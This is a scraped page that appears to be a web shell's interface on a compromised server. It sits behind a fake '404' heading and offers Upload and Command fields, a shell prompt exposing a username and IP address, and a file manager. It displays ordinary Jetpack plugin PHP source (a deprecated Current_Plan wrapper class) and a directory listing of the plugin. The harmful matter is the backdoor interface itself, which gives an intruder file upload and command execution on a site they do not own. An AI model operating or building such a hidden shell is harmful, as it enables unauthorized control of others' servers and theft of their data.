404

[ Avaa Bypassed ]




Upload:

Command:

elspacio@18.118.24.166: ~ $
<?php //phpcs:ignore WordPress.Files.FileName.InvalidClassFileName
/**
 * Handles fetching of the site's plan and products from WordPress.com and caching values locally.
 *
 * @deprecated 12.3 use Automattic\Jetpack\Current_Plan instead.
 *
 * Not to be confused with the `Jetpack_Plans` class (in `_inc/lib/plans.php`), which
 * fetches general information about all available plans from WordPress.com, side-effect free.
 *
 * @package automattic/jetpack
 */

use Automattic\Jetpack\Current_Plan;

/**
 * Provides methods methods for fetching the site's plan and products from WordPress.com.
 */
class Jetpack_Plan {
	/**
	 * The name of the option that will store the site's plan.
	 *
	 * @deprecated 12.3 use Automattic\Jetpack\Current_Plan::PLAN_OPTION
	 *
	 * @var string
	 */
	const PLAN_OPTION = Current_Plan::PLAN_OPTION;

	/**
	 * The name of the option that will store the site's products.
	 *
	 * @deprecated 12.3 use Automattic\Jetpack\Current_Plan::SITE_PRODUCTS_OPTION
	 *
	 * @var string
	 */
	const SITE_PRODUCTS_OPTION = Current_Plan::SITE_PRODUCTS_OPTION;

	/**
	 * Array of products supported by each plan.
	 *
	 * @deprecated 12.3 use Automattic\Jetpack\Current_Plan::PLAN_DATA
	 *
	 * @var array
	 */
	const PLAN_DATA = Current_Plan::PLAN_DATA;

	/**
	 * Given a response to the `/sites/%d` endpoint, will parse the response and attempt to set the
	 * site's plan and products from the response.
	 *
	 * @deprecated 12.3 use Automattic\Jetpack\Current_Plan::update_from_sites_response instead.
	 *
	 * @param array $response The response from `/sites/%d`.
	 * @return bool Was the plan successfully updated?
	 */
	public static function update_from_sites_response( $response ) {
		_deprecated_function( __METHOD__, '12.3', 'Automattic\Jetpack\Current_Plan::update_from_sites_response' );

		return Current_Plan::update_from_sites_response( $response );
	}

	/**
	 * Make an API call to WordPress.com for plan status
	 *
	 * @deprecated 12.3 use Automattic\Jetpack\Current_Plan::refresh_from_wpcom instead.
	 *
	 * @access public
	 * @static
	 *
	 * @return bool True if plan is updated, false if no update
	 */
	public static function refresh_from_wpcom() {
		_deprecated_function( __METHOD__, '12.3', 'Automattic\Jetpack\Current_Plan::refresh_from_wpcom' );

		return Current_Plan::refresh_from_wpcom();
	}

	/**
	 * Get the plan that this Jetpack site is currently using.
	 *
	 * @deprecated 12.3 use Automattic\Jetpack\Current_Plan::get instead.
	 *
	 * @access public
	 * @static
	 *
	 * @return array Active Jetpack plan details
	 */
	public static function get() {
		_deprecated_function( __METHOD__, '12.3', 'Automattic\Jetpack\Current_Plan::get' );

		return Current_Plan::get();
	}

	/**
	 * Get the site's products.
	 *
	 * @deprecated 12.3 use Automattic\Jetpack\Current_Plan::get_products instead.
	 *
	 * @access public
	 * @static
	 *
	 * @return array Active Jetpack products
	 */
	public static function get_products() {
		_deprecated_function( __METHOD__, '12.3', 'Automattic\Jetpack\Current_Plan::get_products' );

		return Current_Plan::get_products();
	}

	/**
	 * Gets the minimum plan slug that supports the given feature
	 *
	 * @deprecated 12.3 use Automattic\Jetpack\Current_Plan::get_minimum_plan_for_feature instead.
	 *
	 * @param string $feature The name of the feature.
	 * @return string|bool The slug for the minimum plan that supports.
	 *  the feature or false if not found
	 */
	public static function get_minimum_plan_for_feature( $feature ) {
		_deprecated_function( __METHOD__, '12.3', 'Automattic\Jetpack\Current_Plan::get_minimum_plan_for_feature' );

		return Current_Plan::get_minimum_plan_for_feature( $feature );
	}

	/**
	 * Determine whether the active plan supports a particular feature
	 *
	 * @deprecated 12.3 use Automattic\Jetpack\Current_Plan::supports instead.
	 *
	 * @access public
	 * @static
	 *
	 * @param string $feature The module or feature to check.
	 *
	 * @return bool True if plan supports feature, false if not
	 */
	public static function supports( $feature ) {
		_deprecated_function( __METHOD__, '12.3', 'Automattic\Jetpack\Current_Plan::supports' );

		return Current_Plan::supports( $feature );
	}
}

Filemanager

Name Type Size Permission Actions
3rd-party Folder 0755
_inc Folder 0755
css Folder 0755
extensions Folder 0755
images Folder 0755
jetpack_vendor Folder 0755
json-endpoints Folder 0755
modules Folder 0755
sal Folder 0755
src Folder 0755
vendor Folder 0755
views Folder 0755
CHANGELOG.md File 572 KB 0644
LICENSE.txt File 17.98 KB 0644
SECURITY.md File 2.45 KB 0644
class-jetpack-connection-status.php File 728 B 0644
class-jetpack-connection-widget.php File 3.29 KB 0644
class-jetpack-gallery-settings.php File 3.38 KB 0644
class-jetpack-pre-connection-jitms.php File 5.77 KB 0644
class-jetpack-recommendations-banner.php File 9.1 KB 0644
class-jetpack-stats-dashboard-widget.php File 7.77 KB 0644
class-jetpack-wizard-banner.php File 214 B 0644
class-jetpack-xmlrpc-methods.php File 8.33 KB 0644
class.frame-nonce-preview.php File 3.22 KB 0644
class.jetpack-admin.php File 19.86 KB 0644
class.jetpack-affiliate.php File 205 B 0644
class.jetpack-autoupdate.php File 9.74 KB 0644
class.jetpack-bbpress-json-api.compat.php File 220 B 0644
class.jetpack-boost-modules.php File 1.23 KB 0644
class.jetpack-cli.php File 71.41 KB 0644
class.jetpack-client-server.php File 2.79 KB 0644
class.jetpack-connection-banner.php File 13.88 KB 0644
class.jetpack-data.php File 275 B 0644
class.jetpack-gutenberg.php File 41.34 KB 0644
class.jetpack-heartbeat.php File 4.55 KB 0644
class.jetpack-idc.php File 351 B 0644
class.jetpack-modules-list-table.php File 14.79 KB 0644
class.jetpack-network-sites-list-table.php File 5.93 KB 0644
class.jetpack-network.php File 21.03 KB 0644
class.jetpack-plan.php File 4.09 KB 0644
class.jetpack-post-images.php File 31.98 KB 0644
class.jetpack-twitter-cards.php File 12.92 KB 0644
class.jetpack-user-agent.php File 25.84 KB 0644
class.jetpack.php File 227.95 KB 0644
class.json-api-endpoints.php File 82.42 KB 0644
class.json-api.php File 33.34 KB 0644
class.photon.php File 1.74 KB 0644
composer.json File 3.8 KB 0644
enhanced-open-graph.php File 4.35 KB 0644
functions.compat.php File 4.1 KB 0644
functions.cookies.php File 2.04 KB 0644
functions.global.php File 15.08 KB 0644
functions.is-mobile.php File 2.47 KB 0644
functions.opengraph.php File 17.72 KB 0644
functions.photon.php File 3.04 KB 0644
jetpack.php File 8.24 KB 0644
json-api-config.php File 338 B 0644
json-endpoints.php File 6.92 KB 0644
load-jetpack.php File 3.39 KB 0644
locales.php File 324 B 0644
readme.txt File 28.39 KB 0644
uninstall.php File 1.6 KB 0644
wpml-config.xml File 1.26 KB 0644